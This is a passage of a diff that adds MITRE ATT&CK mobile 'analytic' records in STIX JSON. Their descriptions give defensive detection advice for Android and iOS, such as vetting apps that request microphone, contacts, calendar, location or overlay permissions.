"x-mitre-analytic--1e72355d-3350-4b60-8c92-2ded50a3fdd1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0670#AN1768", + "external_id": "AN1768" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1768", + "description": "Many encryption mechanisms are built into standard application-accessible APIs and are therefore undetectable to the end user.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--44d378d8-575b-41c8-b75c-375abcf3e2db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0671#AN1769", + "external_id": "AN1769" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1769", + "description": "The user may view applications with administrator access through the device settings and may also notice if user data is inexplicably missing. \nCommand-line activities can potentially be detected through Mobile Threat Defense (MTD) integrations with lower-level OS APIs. This could grant the MTD agents access to running processes and their parameters, potentially detecting file deletion processes. \nThe user is prompted for approval when an application requests device administrator permissions.\nApplication vetting services may detect API calls for deleting files. \nMobile security products can detect which applications can request device administrator permissions. Application vetting services could be extra scrutinous of applications that request device administrator permissions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "Command", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e2f72131-14d1-411f-8e8c-aa3453dd5456", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ab85ff40-2b75-477a-b5ec-f35f2fcde728", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0672#AN1770", + "external_id": "AN1770" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1770", + "description": "Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application.\nMany properly configured firewalls may naturally block command and control traffic.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a0bb0e33-c40f-46f5-b64a-07faa6946d83", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0672#AN1771", + "external_id": "AN1771" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1771", + "description": "Application vetting services may provide a list of connections made or received by an application, or a list of domains contacted by the application.\nMany properly configured firewalls may naturally block command and control traffic.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--764ee29e-48d6-4934-8e6b-7a606aaaafc0", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d942e493-32eb-4302-890b-7729f63b7202", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0673#AN1772", + "external_id": "AN1772" + }, + { + "source_name": "Android Privacy Indicators", + "description": "Google. (n.d.). Privacy Indicators. Retrieved April 20, 2022.", + "url": "https://source.android.com/devices/tech/config/privacy-indicators" + }, + { + "source_name": "iOS Mic Spyware", + "description": "ZecOps Research Team. (2021, November 4). How iOS Malware Can Spy on Users Silently. Retrieved April 1, 2022.", + "url": "https://blog.zecops.com/research/how-ios-malware-can-spy-on-users-silently/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1772", + "description": "In iOS 14 and up, an orange dot (or orange square if the Differentiate Without Color setting is enabled) appears in the status bar when the microphone is being used by an application. However, there have been demonstrations indicating it may still be possible to access the microphone in the background without triggering this visual indicator by abusing features that natively access the microphone or camera but do not trigger the visual indicators.(Citation: iOS Mic Spyware)\n\n\nIn Android 12 and up, a green dot appears in the status bar when the microphone is being used by an application.(Citation: Android Privacy Indicators)\nAndroid applications using the `RECORD_AUDIO` permission and iOS applications using `RequestRecordPermission` should be carefully reviewed and monitored. If the `CAPTURE_AUDIO_OUTPUT` permission is found in a third-party Android application, the application should be heavily scrutinized.\n\nIn both Android (6.0 and up) and iOS, the user can review which applications have the permission to access the microphone through the device settings screen and revoke permissions as necessary. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4623e949-e902-4a8c-893b-73e5ab4b57d5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0673#AN1773", + "external_id": "AN1773" + }, + { + "source_name": "Android Privacy Indicators", + "description": "Google. (n.d.). Privacy Indicators. Retrieved April 20, 2022.", + "url": "https://source.android.com/devices/tech/config/privacy-indicators" + }, + { + "source_name": "iOS Mic Spyware", + "description": "ZecOps Research Team. (2021, November 4). How iOS Malware Can Spy on Users Silently. Retrieved April 1, 2022.", + "url": "https://blog.zecops.com/research/how-ios-malware-can-spy-on-users-silently/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1773", + "description": "In iOS 14 and up, an orange dot (or orange square if the Differentiate Without Color setting is enabled) appears in the status bar when the microphone is being used by an application. However, there have been demonstrations indicating it may still be possible to access the microphone in the background without triggering this visual indicator by abusing features that natively access the microphone or camera but do not trigger the visual indicators.(Citation: iOS Mic Spyware)\n\n\nIn Android 12 and up, a green dot appears in the status bar when the microphone is being used by an application.(Citation: Android Privacy Indicators)\nAndroid applications using the `RECORD_AUDIO` permission and iOS applications using `RequestRecordPermission` should be carefully reviewed and monitored. If the `CAPTURE_AUDIO_OUTPUT` permission is found in a third-party Android application, the application should be heavily scrutinized.\n\nIn both Android (6.0 and up) and iOS, the user can review which applications have the permission to access the microphone through the device settings screen and revoke permissions as necessary. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--38e2eb61-e650-4cdc-8f27-213b39499d34", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0674#AN1774", + "external_id": "AN1774" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1774", + "description": "Application vetting services could look for `android.permission.READ_CALENDAR` or `android.permission.WRITE_CALENDAR` in an Android application\u2019s manifest, or `NSCalendarsUsageDescription` in an iOS application\u2019s `Info.plist` file. Most applications do not need calendar access, so extra scrutiny could be applied to those that request it. \nOn both Android and iOS, the user can manage which applications have permission to access calendar information through the device settings screen, revoke the permission if necessary. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--abfa1de9-fcf5-44da-a910-f83273b60813", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0674#AN1775", + "external_id": "AN1775" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1775", + "description": "Application vetting services could look for `android.permission.READ_CALENDAR` or `android.permission.WRITE_CALENDAR` in an Android application\u2019s manifest, or `NSCalendarsUsageDescription` in an iOS application\u2019s `Info.plist` file. Most applications do not need calendar access, so extra scrutiny could be applied to those that request it. \nOn both Android and iOS, the user can manage which applications have permission to access calendar information through the device settings screen, revoke the permission if necessary. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--83b759ca-097c-4d9f-926b-fb41e0740644", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0675#AN1776", + "external_id": "AN1776" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1776", + "description": "In both Android (6.0 and up) and iOS, the user can view which applications have the permission to access the device location through the device settings screen and revoke permissions as necessary. \nAndroid applications requesting the `ACCESS_COARSE_LOCATION`, `ACCESS_FINE_LOCATION`, or `ACCESS_BACKGROUND_LOCATION` permissions and iOS applications including the `NSLocationWhenInUseUsageDescription`, `NSLocationAlwaysAndWhenInUseUsageDescription`, and/or `NSLocationAlwaysUsageDescription` keys in their `Info.plist` file could be scrutinized during the application vetting process. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f34fef81-f714-4e26-ae99-3c970959cd0d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0675#AN1777", + "external_id": "AN1777" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1777", + "description": "In both Android (6.0 and up) and iOS, the user can view which applications have the permission to access the device location through the device settings screen and revoke permissions as necessary. \nAndroid applications requesting the `ACCESS_COARSE_LOCATION`, `ACCESS_FINE_LOCATION`, or `ACCESS_BACKGROUND_LOCATION` permissions and iOS applications including the `NSLocationWhenInUseUsageDescription`, `NSLocationAlwaysAndWhenInUseUsageDescription`, and/or `NSLocationAlwaysUsageDescription` keys in their `Info.plist` file could be scrutinized during the application vetting process. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2867d1e0-cf83-4d83-bc6c-cc03404c3521", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0676#AN1778", + "external_id": "AN1778" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1778", + "description": "An Android user can view and manage which applications hold the `SYSTEM_ALERT_WINDOW` permission through the device settings in Apps & notifications -> Special app access -> Display over other apps (the exact menu location may vary between Android versions). \nApplication vetting services can look for applications requesting the `android.permission.SYSTEM_ALERT_WINDOW` permission in the list of permissions in the app manifest. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8062d295-9d02-40c5-9ef9-135d08c07a22", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0676#AN1779", + "external_id": "AN1779" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1779", + "description": "An Android user can view and manage which applications hold the `SYSTEM_ALERT_WINDOW` permission through the device settings in Apps & notifications -> Special app access -> Display over other apps (the exact menu location may vary between Android versions). \nApplication vetting services can look for applications requesting the `android.permission.SYSTEM_ALERT_WINDOW` permission in the list of permissions in the app manifest. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--cda313bc-214f-4bf8-9aa2-b3fb495379c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0677#AN1780", + "external_id": "AN1780" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1780", + "description": "Detection of steganography is difficult unless detectable artifacts with a known signature are left behind by the obfuscation process. Look for strings are other signatures left in system artifacts related to decoding steganography.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c37bba44-9ca2-4444-8ee9-7cab0b2fd5fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0678#AN1781", + "external_id": "AN1781" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1781", + "description": "Application vetting services may be able to detect if an application attempts to encrypt files, although this may be benign behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e0ee0af8-96f8-4baf-b0f2-63d4b49938f2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0679#AN1782", + "external_id": "AN1782" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1782", + "description": "Application vetting services could look for `android.permission.READ_CONTACTS` in an Android application\u2019s manifest, or `NSContactsUsageDescription` in an iOS application\u2019s `Info.plist` file. Most applications do not need contact list access, so extra scrutiny could be applied to those that request it.\nOn both Android and iOS, the user can manage which applications have permission to access the contact list through the device settings screen, revoking the permission if necessary. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6f77061e-d663-487d-bfca-cd1e1f1d24d7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0679#AN1783", + "external_id": "AN1783" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1783", + "description": "Application vetting services could look for `android.permission.READ_CONTACTS` in an Android application\u2019s manifest, or `NSContactsUsageDescription` in an iOS application\u2019s `Info.plist` file. Most applications do not need contact list access, so extra scrutiny could be applied to those that request it.\nOn both Android and iOS, the user can manage which applications have permission to access the contact list through the device settings screen, revoking the permission if necessary. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b1e0bb80-23d4-44f2-b919-7e9c54898f43", + "name": "Application Vetting", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--87d2ccc4-f82e-493d-9c6f-03303253aec2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0680#AN1784", + "external_id": "AN1784" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1784", + "description": "Application vetting services could look for the Android permission `android.permission.QUERY_ALL_PACKAGES`, and apply extra scrutiny to applications that request it. On iOS, application vetting services could look for usage of the private API `LSApplicationWorkspace` and apply extra scrutiny to applications that employ it.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9c721bd4-75df-4381-bd70-29679aa78a4b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0680#AN1785", + "external_id": "AN1785" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1785", + "description": "Application vetting services could look for the Android permission `android.permission.QUERY_ALL_PACKAGES`, and apply extra scrutiny to applications that request it. On iOS, application vetting services could look for usage of the private API `LSApplicationWorkspace` and apply extra scrutiny to applications that employ it.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5ae32c6a-2d12-4b8f-81ca-f862f2be0962", + "name": "Application Vetting", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--99227275-37f5-400f-95ae-b5e17abfb0fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0681#AN1786", + "external_id": "AN1786" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1786", + "description": "The user can view permissions granted to an application in device settings. \nApplication vetting services typically flag permissions requested by an application, which can be reviewed by an administrator. Certain dangerous permissions, such as `RECEIVE_SMS`, could receive additional scrutiny.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--56c2b384-77f8-461f-a71a-76f7888ebfb6", + "name": "User Interface", + "channel": "None" + }, + { + "x_mitre_data_component_ref": 